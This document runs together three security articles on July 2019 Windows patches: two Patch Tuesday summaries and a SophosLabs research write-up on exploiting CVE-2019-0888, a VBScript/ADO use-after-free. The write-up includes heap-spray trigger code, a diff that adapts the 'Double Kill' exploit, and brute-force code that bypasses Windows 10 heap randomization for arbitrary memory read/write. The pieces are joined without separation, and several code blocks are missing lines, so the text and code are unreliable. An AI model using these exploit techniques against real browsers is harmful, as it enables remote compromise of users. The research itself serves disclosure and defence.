Patch Tuesday Lowdown, July 2019 Edition

Jul 19

Patch Tuesday Lowdown, July 2019 Edition

Microsoft today released software updates to plug almost 80 security holes in its Windows operating systems and related software. Among them are fixes for two zero-day flaws that are actively being exploited in the wild, and patches to quash four other bugs that were publicly detailed prior to today, potentially giving attackers a head start in working out how to use them for nefarious purposes.

Zero-days and publicly disclosed flaws aside for the moment, probably the single most severe vulnerability addressed in this month’s patch batch (at least for enterprises) once again resides in the component of Windows responsible for automatically assigning Internet addresses to host computers — a function called the “Windows DHCP server.”

The DHCP weakness (CVE-2019-0785) exists in most supported versions of Windows server, from Windows Server 2012 through Server 2019.

Microsoft said an unauthenticated attacker could use the DHCP flaw to seize total, remote control over vulnerable systems simply by sending a specially crafted data packet to a Windows computer. For those keeping count, this is the fifth time this year that Redmond has addressed such a critical flaw in the Windows DHCP client.

All told, only 15 of the 77 flaws fixed today earned Microsoft’s most dire “critical” rating, a label assigned to flaws that malware or miscreants could exploit to commandeer computers with little or no help from users. It should be noted that 11 of the 15 critical flaws are present in or are a key component of the browsers built into Windows — namely, Edge and Internet Exploder Explorer.

One of the zero-day flaws — CVE-2019-1132 — affects Windows 7 and Server 2008 systems. The other — CVE-2019-0880 — is present in Windows 8.1, Server 2012 and later operating systems. Both would allow an attacker to take complete control over an affected system, although each is what’s known as an “elevation of privilege” vulnerability, meaning an attacker would already need to have some level of access to the targeted system.

CVE-2019-0865 is a denial-of-service bug in a Microsoft open-source cryptographic library that could be used to tie up system resources on an affected Windows 8 computer. It was publicly disclosed a month ago by Google’s Project Zero bug-hunting operation after Microsoft reportedly failed to address it within Project Zero’s stated 90-day disclosure deadline.

The other flaw publicly detailed prior to today is CVE-2019-0887, which is a remote code execution flaw in the Remote Desktop Services (RDP) component of Windows. However, this bug also would require an attacker to already have compromised a target system.

Mercifully, there do not appear to be any security updates for Adobe Flash Player this month.

Standard disclaimer: Patching is important, but it usually doesn’t hurt to wait a few days before Microsoft irons out any wrinkles in the fixes, which sometimes introduce stability or usability issues with Windows after updating (KrebsOnSecurity will endeavor to update this post in the event that any big issues with these patches emerge).

As such, it’s a good idea to get in the habit of backing up your system — or at the very least your data — before applying any updates. The thing is, newer versions of Windows (e.g. Windows 10+) by default will go ahead and decide for you when that should be done (often this is in the middle of the night). But that setting can be changed.

If you experience any problems installing any of the patches this month, please feel free to leave a comment about it below; there’s a better-than-even chance that other readers have experienced the same and may even chime in with some helpful advice and tips.

Further reading:

Qualys Patch Tuesday Blog


Tenable [full disclosure: Tenable is an advertiser on this blog].

Tags: , , , , , ,

You can skip to the end and leave a comment. Pinging is currently not allowed.

16 critical vulnerabilities, some being exploited, fixed in July, 2019 Windows updates

Microsoft released their monthly security updates for July today. This month’s fixes address 77 vulnerabilities that affect Windows and a range of software that runs on Windows, mainly Internet Explorer, DirectX and the graphical subsystem.

Adobe products did not synchronize the release of patches for their products this month.

Among the vulnerabilities, 16 are categorized by Microsoft as critical, 60 as important and 1 as moderate.

Almost all of the critical vulnerabilities allow an attacker to execute remote code on the targeted system and 19 of the important vulnerabilities can be used for local elevation of privilege. Through a successful social engineering attack, either with a malicious website or Excel documents, an external attacker could fully compromise a targeted user’s machine.

There are 6 critical vulnerabilities for Internet Explorer and 5 for Chakra, the JavaScript engine of both Edge and Internet Explorer. The following components all have one remote code execution vulnerability: the Windows DHCP server, the Azure DevOps Server, the .NET Framework and the GDI+ API. Finally there is an authentication bypass for applications using the Windows Communication Foundation and the Windows Identity Foundation API.

There are reports that the two elevation of privilege vulnerabilities affecting Windows components are actively being exploited.

It’s worth reminding readers that the availability of patches does not mean that your computer has installed them, yet. To find and download this month’s Cumulative Update patch yourself, search for the term “2019-07” at the Microsoft Update Catalog website.

Let’s have a closer look at some of the interesting vulnerabilities.

Win32k Elevation of Privilege Vulnerability ?️


The Win32k driver on Windows 7 32bit can be abused to get a NULL pointer dereference. An attacker with remote code execution could use this vulnerability to achieve local elevation of privilege. This has been exploited in the wild.

Microsoft splwow64 Elevation of Privilege Vulnerability ?️


There is pointer dereference issue in the printer driver for 32-bit processes that could be used to escape the sandbox of Internet Explorer Enhanced Protected Mode (EPM).

After achieving remote code execution using a vulnerability like the ones that follow, affecting the Edge or Internet Explorer web browsers, an attacker could exploit this vulnerability to create a new process of medium integrity level. This has been exploited in the wild.

Multiple browser memory corruption vulnerabilities

Internet Explorer: CVE-2019-1001, -1004, -1056, -1059, -1063, and -1104

Chakra: CVE-2019-1062, -1092, -1103, -1106, and -1107

Internet Explorer and Edge suffer from several memory corruption vulnerabilities, such as type confusion, out-of-bounds write, and use-after-free.

If an attacker could trick a victim into browsing to a malicious website, they can execute remote code in the context of the web browser. To gain full control of the machine is more difficult: the attacker would need to escape the sandbox using a vulnerability such as the previously mentioned CVE-2019-0880, and then perform a local privilege elevation that delivers full administrative access.

Sophos coverage
Sophos has released following detection to address the vulnerabilities mentioned above.   Please note that additional vulnerabilities and corresponding detection may be released in the future.


N/V = Not Validated.

The PoC code provided with MAPP advisories does not include active exploits and as such is not applicable to Intercept X testing. Intercept X’s ability to block the exploit depends on the actual exploit weaponization approach, which we won’t see until someone spots it in the wild. The SAV and IPS detections developed for the PoCs do not guarantee interception of in-the-wild attacks

How long does it take to have Sophos detection in place?

We aim to add detection to critical issues based on the type and nature of the vulnerabilities as soon as possible. Please note that some detection might not be available due to the availability of the data.

It is mostly not possible to test with Intercept-X due to the nature of the data we receive.

What if the vulnerability/0-day you look for is not covered above?

The most likely reason for this is we did not receive enough information about the vulnerability to create detection.

CVE-2019-0888: Use-After-Free in Windows ActiveX Data Objects (ADO)

The SophosLabs Offensive Security Research team discovered a security vulnerability in the ActiveX Data Objects (ADO) component of Windows. Microsoft resolved the issue in the June 2019 edition of Patch Tuesday. It has been a month since the patch was released, so we’ve decided to publish the following explanation of the bug, and how to exploit it to achieve an ASLR bypass and Read/Write primitive.

The article references symbols and types from the 32-bit vbscript.dll file, version 5.812.10240.16384, from Windows 10.


ADO is an API to access and manipulate data through an OLE database provider. In our examples to follow, the OLE DB provider is a Microsoft SQL server. Different programs, using a variety of languages, can use this API.

In the scope of this article, we will make use of ADO from VBScript code running in Internet Explorer, and connect to a Microsoft SQL Server 2014 Express instance running locally.


Here’s an example of a basic VBScript script that establishes a connection to the local database (named SQLEXPRESS) by using an ADO Recordset object:

On Error Resume Next

Set RS = CreateObject("ADOR.Recordset")

                "Provider=SQLOLEDB;" & _
                "Data Source=.SQLEXPRESS;" & _
                "Initial Catalog=master;" & _
                "Integrated Security=SSPI;" & _

If Err.Number <> 0 Then
        MsgBox("DB open error")
        MsgBox("DB opened")
End If

Establishing a connection using ADO from Internet Explorer prompts this security warning, which makes the bug inconvenient to exploit unobtrusively.

The Bug

The Recordset Object method NextRecordset improperly handles its RecordsAffected parameter.

When an application calls this method with an Object-typed variable passed to it as the RecordsAffected parameter, the method will leave that object’s reference count decreased by 1, while keeping the variable referenceable.

When the reference count drops to 0, the operating system destroys the object and deallocates its memory. However, since the object can still be referenced by its variable name, further usage of that variable will cause a Use-After-Free condition.

These are the important bits about NextRecordset‘s functionality from its documentation:

  • Use the NextRecordset method to return the results of the next command in a compound command statement or of a stored procedure that returns multiple results.
  • The NextRecordset method is not available on a disconnected Recordset object.
  • Parameters: RecordsAffected
    Optional. A Long variable to which the provider returns the number of records that the current operation affected.

Simply put, the method works on a connected Recordset object, retrieves and returns some sort of database related data, and writes back a number to the provided parameter.


The method is implemented in library msado15.dll with the function CRecordset::NextRecordset. This is how NextRecordset is defined in the library’s COM interface:

If the method is successful at retrieving the database-related data, it calls the internal function ProcessRecordsAffected to handle the assignment of the number of affected records to parameter RecordsAffected.

Inside ProcessRecordsAffected, the library creates a local variable, called local_copy_of_RecordsAffected , shallow-copies the RecordsAffected parameter into it, and then calls the VariantClear function:

VariantClear is described here. To quote:

The function clears a VARIANTARG by setting the vt field to VT_EMPTY.
The current contents of the VARIANTARG are released first. […] If the vt field is VT_DISPATCH, the object is released.”

VBScript object variables are, essentially, wrapped ActiveX objects, implemented in C++. They are created by the function CreateObject, e.g. variable RS in the above code sample.

VBScript objects are represented internally as Variant structures of the type VT_DISPATCH. Therefore, in this case, the call to VariantClear will set local_copy_of_RecordsAffected‘s type to VT_EMPTY, and perform a “release” on it, meaning it will invoke its underlying C++ object’s ::Release method, which decrements the object’s reference count by 1 (and destroys the object if the reference count reaches 0).

After the VariantClear call, the function continues as follows:

This function converts the 64-bit integer variable, RecordsAffectedNum,  into a signed 32-bit integer (referred to here as type VT_I4), and passes that value to VariantChangeType in an attempt to convert it to a variant of type RecordsAffected_vt, which is VT_DISPATCH in the vulnerable scenario.

No logic exists to convert a VT_I4 type into a VT_DISPATCH type, so VariantChangeType will always fail here, and the early return path will take place. Since RecordsAffected is defined with the out attribute in its COM interface declaration, the way ProcessRecordsAffected handles RecordsAffected will have an impact on the program:

The [out] attribute indicates that a parameter that acts as a pointer and its associated data in memory are to be passed back from the called procedure to the calling procedure.

Simply put, RecordsAffected is passed back to the program after NextRecordset returns, either in its original state or whatever state it was modified into by ProcessRecordsAffected. Looking back at the execution path the function undergoes in a vulnerable scenario, we can see it reaches the return statement without ever directly modifying RecordsAffected.

VariantClear is called on a copy of RecordsAffected, so it triggers a release of the copy’s underlying C++ object, and changes the copy’s type to VT_EMPTY.

Since the copying was done in a shallow way, both RecordsAffected and its copy contain the same pointer to the underlying C++ object; A release of one of the variables is equivalent to a release of the second. However, changing the copy’s type to VT_EMPTY will have no effect on RecordsAffected – its type will remain intact.

Since RecordsAffected‘s type has not been emptied, it will be passed back to the program and remain referenceable, despite its underlying C++ object being released and, potentially, deallocated.

Considering how the bug is seemingly triggered on every call to the method, how does it manage to complete a legitimate call without crashing?

Looking back at the documentation, it specifies that RecordsAffected is supposed to be of type Long (a variant of type VT_I4). VariantClear does not have the same destructive effect on VT_I4 variants as it does on VT_DISPATCH variants (releasing its object). Therefore, as long as calls to the method use a RecordsAffected that fits the intended type, there will be no negative side effects to the program.


The bug was fixed in Microsoft’s June 2019 edition of Patch Tuesday, and was assigned CVE-2019-0888.

The function ProcessRecordsAffected was patched to omit the local variable local_copy_of_RecordsAffected, instead operating directly on RecordsAffected, correctly emptying its type and preventing it from being passed back to the program.

“Dumb” Exploitation

The simplest way to achieve some type of exploit primitive with this bug would be to cause an object to be freed, and then immediately spray the heap with controlled-data memory allocations of the same size as the freed object, so that the memory that used to hold the object now holds our own arbitrary data.

On Error Resume Next

Set RS = CreateObject("ADOR.Recordset")
Set freed_object = CreateObject("ADOR.Recordset")

' Open Recordset connection to database
                "Provider=SQLOLEDB;" & _
                "Data Source=.SQLEXPRESS;" & _
                "Initial Catalog=master;" & _
                "Integrated Security=SSPI;" & _

' Connection objects to be used for heap spray later
Dim array(1000)
For i = 0 To 1000
        Set array(i) = CreateObject("ADODB.Connection")

' Data to spray in heap: allocation size will be 0x418
' (size of CRecordset in 32-bit msado15.dll)
spray = ChrW(&h4141) & ChrW(&h4141) & _
        ChrW(&h4141) & ChrW(&h4141) & _

' Trigger bug
Set Var1 = RS.NextRecordset(freed_object)

' Perform heap spray
For i = 0 To 1000
        array(i).ConnectionString = spray

' Trigger use after free

Line 4 creates a new VBScript object freed_object, with an underlying C++ object of type CRecordset, a 0x418-byte-sized structure.

Line 27 decreases freed_object‘s underlying C++ object’s reference count to 0, and should cause the deallocation of its internal resources.

Line 31 uses the ConnectionString property of the ADODB.Connection class to spray the heap. When a string is assigned into ConnectionString it creates a local copy, allocating a memory chunk with the same size as the assigned string, and copying its contents into it. The spray string is crafted to result in a 0x418-byte allocation.

Line 35 dereferences freed_object. At this point, any referencing of this variable will invoke a dynamic dispatch on the underlying C++ object, meaning its virtual table pointer will be dereferenced, and a function pointer will be loaded from that memory. Since the virtual table pointer is located at offset 0 of a C++ object, the value that will be loaded, and later cause a memory access violation exception in the first 4 bytes of spray, 0x41414141.

To make this primitive useful for actual exploitation, we would need to rely on knowing a readable, controllable memory address in the program’s address space – a feat that is rendered impossible by ASLR. A better approach will have to be used to defeat mitigations like ASLR to exploit this bug on modern systems.

Advanced Exploitation

While looking for existing research on exploitation methods for similar VBScript bugs that can be of help here, we came across CVE-2018-8174. Dubbed the “Double Kill” exploit, it was detected in the wild by security company Qihoo 360 around May 2018. Plenty of articles have been written about dissecting the captured exploit and underlying bug, so for further details we will refer to these:

[1] Analysis of CVE-2018-8174 VBScript 0day, 360 Qihoo

[2] Delving deep into VBScript: Analysis of CVE-2018-8174 exploitation, Kaspersky Lab

[3] Dissecting modern browser exploit: case study of CVE-2018–8174, piotrflorczyk

CVE-2018-8174 is a use-after-free bug in VBScript around the handling of the Class_Terminate callback function. Essentially, it gave the ability to arbitrarily free a VBScript object but keep it referenceable, similar to the ADO bug’s properties.

The captured exploit implemented a sophisticated technique that employs a type confusion attack to turn the use-after-free capability into an ASLR bypass and read-write-everywhere primitive. The technique itself isn’t useful on its own (without a bug to enable it), and is technically not a bug, so it was never “fixed,” and remains present in the code base. The technique is probably best explained in the article by Piotr Florczyk.

Given the similarities between the 2 bugs, it should be possible to take the commented exploit code for CVE-2018-8174 from Florczyk’s writeup, replace the bug-specific code parts to make use of the ADO bug, and have it successfully work the same way. And, indeed, applying this simple patch…

diff --git a/analysis_base.vbs b/analysis_modified.vbs
index 6c1cd3f..fd25809 100644
--- a/analysis_base.vbs
+++ b/analysis_modified.vbs
@@ -1,3 +1,14 @@
+Dim RS(13)
+For i = 0 to UBound(RS)
+    Set RS(i) = CreateObject("ADOR.Recordset")
+        "Provider=SQLOLEDB;" & _
+        "Data Source=.SQLEXPRESS;" & _
+        "Initial Catalog=master;" & _
+        "Integrated Security=SSPI;" & _
+        "Trusted_Connection=True;"
 Dim FreedObjectArray
 Dim UafArrayA(6),UafArrayB(6)
 Dim UafCounter
@@ -101,7 +112,8 @@ Public Default Property Get Q
     Dim objectImitatingArray
     Q=CDbl("174088534690791e-324") ' db 0, 0, 0, 0, 0Ch, 20h, 0, 0
     For idx=0 To 6
-        UafArrayA(idx)=0
+        On Error Resume Next
+        Set m = RS(idx).NextRecordset(resueObjectA_arr)
     Set objectImitatingArray=New FakeReuseClass
     objectImitatingArray.mem = FakeArrayString
@@ -116,7 +128,8 @@ Public Default Property Get P
     Dim objectImitatingInteger
     P=CDbl("636598737289582e-328") ' db 0, 0, 0, 0, 3, 0, 0, 0
     For idx=0 To 6
-        UafArrayB(idx)=0
+        On Error Resume Next
+        Set m = RS(7+idx).NextRecordset(resueObjectB_int)
     Set objectImitatingInteger=New FakeReuseClass
@@ -136,19 +149,7 @@ Sub UafTrigger
     For idx=20 To 38
         Set objectArray(idx)=New ReuseClass
-    UafCounter=0    
-    For idx=0 To 6
-        ReDim FreedObjectArray(1)
-        Set FreedObjectArray(1)=New ClassTerminateA
-        Erase FreedObjectArray
-    Next
     Set resueObjectA_arr=New ReuseClass
-    UafCounter=0
-    For idx=0 To 6
-        ReDim FreedObjectArray(1)
-        Set FreedObjectArray(1)=New ClassTerminateB
-        Erase FreedObjectArray
-    Next
     Set resueObjectB_int=New ReuseClass
 End Sub

…produces a working exploit for the ADO bug.

It turns out that this exploit works on systems running Windows 7, but not on Windows 8 or later versions. This is the case with the original captured exploit as well. The exploit breaks due to “Low fragmentation heap (LFH) allocation order randomization”, a security measure for the heap introduced in Windows 8 that breaks simple use-after-free exploitation scenarios. 

Bypassing LFH Allocation Order Randomization

Here’s one example of how heap behavior changed after Microsoft introduced LFH allocation order randomization:

Introducing allocation order randomization changed the outcome of malloc->free->malloc execution, from following a LIFO (Last In First Out) logic to being non-deterministic.

Why does this break the exploit? Consider the following excerpt from the commented exploit code:

Class ReplacingClass_Array
Public Default Property Get Q
    For idx=0 To 6
        On Error Resume Next
        Set m = RS(idx).NextRecordset(reuseObjectA_arr)
    Set objectImitatingArray=New FakeReuseClass

In VBScript, all custom class objects are internally represented by the VBScriptClass C++ class. VBScript calls the function VBScriptClass::Create  when it executes a custom class object instantiation statement (for example, line 8). It makes a 0x44-byte-sized allocation to hold the VBScriptClass object.

When control reaches line 8, the For loop has just finished destroying reuseObjectA_arr, which is an instance of custom class ReuseClass. This will cause the VBScriptClass destructor to be called, freeing the 0x44 bytes that had been previously allocated. Line 8 then goes on to create a new object, objectImitatingArray, of a different custom class: FakeReuseClass.

The basis for a successful run of the type confusion attack is the assumption that objectImitatingArray will be assigned the same heap memory resources as the just-freed reuseObjectA_arr. However as noted before, with allocation order randomization enabled, you can’t make this assumption; the randomized heap breaks the exploit.

As a result of the type confusion attack, a memory corruption occurs. The heap allocation where corruption occurs is not the top-level (0x44) allocation of VBScriptClass itself, but a certain 0x108 bytes sized sub-allocation tied to it, used to store the object’s methods and variables. The function responsible for this sub-allocation is NameList::FCreateVval and is called shortly after the creation of a VBScriptClass (see article [2]).

To be more specific about the condition that needs to be met, the type confusion will work if, after the destruction of reuseObjectA_arr, a new VBScript object receives the same address for its 0x108 allocation as the one reuseObjectA_arr previously held. Other allocations tied to the two objects, including the 0x44 sized top-level allocation, don’t necessarily have to get matching addresses.

The specifics of the memory corruption part of the technique is not very straightforward to understand and it’s advised to read the Kaspersky background article to get a better understanding of it, but here’s the gist of it.

ReuseClass‘s method, SetProp, has the following statement: mem=Value. Value is an object variable, so its Default Property Getter will have to be invoked before the assignment can be completed.

The VBScript engine (vbscript.dll) calls internal function AssignVar to perform an assignment of this kind. This is a simplified pseudo-code to explain how it works:

AssignVar(VARIANT *destinationObject, char *destinationVariableName, VARIANT *source) {
  // here, destinationObject is a ReuseClass instance, destinationVariableName is "mem", source is <Value>

  // get the address of object <destinationObject>'s member variable with the name <destinationVariableName>.
  VARIANT *destinationPointer = CScriptRuntime::GetVarAdr(destinationObject, destinationVariableName);

  // if the given source is an object, call the object's
  // default property getter to get the actual source value
  if (source->vt == VT_IDISPATCH) {
    VARIANT *sourceValue = VAR::InvokeByDispID(source);

  // perform the assignment
  *destinationPointer = *sourceValue;

The function VAR::InvokeByDispID invokes the source object’s default property getter, allowing us to run arbitrary VBScript code in the midst of AssignVar‘s execution. If we use that space to trigger the destruction and replacement in memory of destinationObject (using the bug), we can take advantage of AssignVar proceeding to perform the assignment into destinationPointer (line 14) without realizing the memory it points to could have been tampered with.

The memory address being written into is the value returned by CScriptRuntime::GetVarAdr, which is a pointer to somewhere inside the given object’s 0x108 allocation. Its exact offset into the allocation depends on the given object’s class definition – particularly, how long the names of its methods and fields are.

ReuseClass and FakeReuseClass‘s definitions are arranged in a way to force a different offset for common member variable mem. Doing this, we’re forcing the final assignment to corrupt an object’s mem variable’s header in order to turn it into an Array type whose base pointer is NULL and its length is 0x7fffffff.

CVE-2018-8174’s exploit uses a one-shot approach for attempting to pull off the type confusion attack, meaning that only a single new object is created after the destruction of reuseObjectA_arr. As we explained before, this will only reliably work on Windows systems prior to Windows 8, which lack the LFH Allocation Order Randomization feature.

To make this exploit work on Windows 10 systems, we can implement a brute-force approach for attempting the type confusion attack. Instead of creating a single new object, we can mass-create new objects to ensure the freed 0x108 allocation will ultimately get assigned into one of them.

Here’s how the code can be transformed into implementing a brute-force approach:

Set reuseObjectA_arr=New ReuseClass
Class ReplacingClass_Array
Public Default Property Get Q
    Dim objectImitatingArray
    Q=CDbl("174088534690791e-324") ' db 0, 0, 0, 0, 0Ch, 20h, 0, 0
    For i=0 To 6

    For i=0 to UBound(UafArrayA)
        Set objectImitatingArray=New FakeReuseClass
        objectImitatingArray.mem = FakeArrayString
        For j=0 To 6
            Set UafArrayA(i,j)=objectImitatingArray
End Property
End Class

Here’s a visualization of the above code’s logic in action:

UafArrayA(38) receives the same 0x108 allocation (Vval) as reuseObjectA_arr

After the UafArrayA array has been mass-filled with new FakeReuseClass objects and the mem=Value assignment completes, we can iterate over the array and find the object whose mem variable has been successfully corrupted to become an array:

For i=0 To UBound(UafArrayA)
    a = UafArrayA(i,0).mem(Empty16BString_addr)
    If Err.Number = 0 Then
        Exit For
    End If
If i > UBound(UafArrayA) Then
    MsgBox("Could not find an object corrupted by reuseObjectA_arr")
    MsgBox("Got UafArrayA_obj from UafArrayA(" & i & ")")
    Set UafArrayA_obj = UafArrayA(i,0)
End If

The corrupted object will be the only one not to cause an exception to be thrown on line 3. Once we find it, it can be referenced with any index, allowing to read and write all addresses in the process memory space.

With this fix to the original exploit, it now works on Windows 10 systems as well.


You can find the proof-of-concept file on the SophosLabs GitHub repository.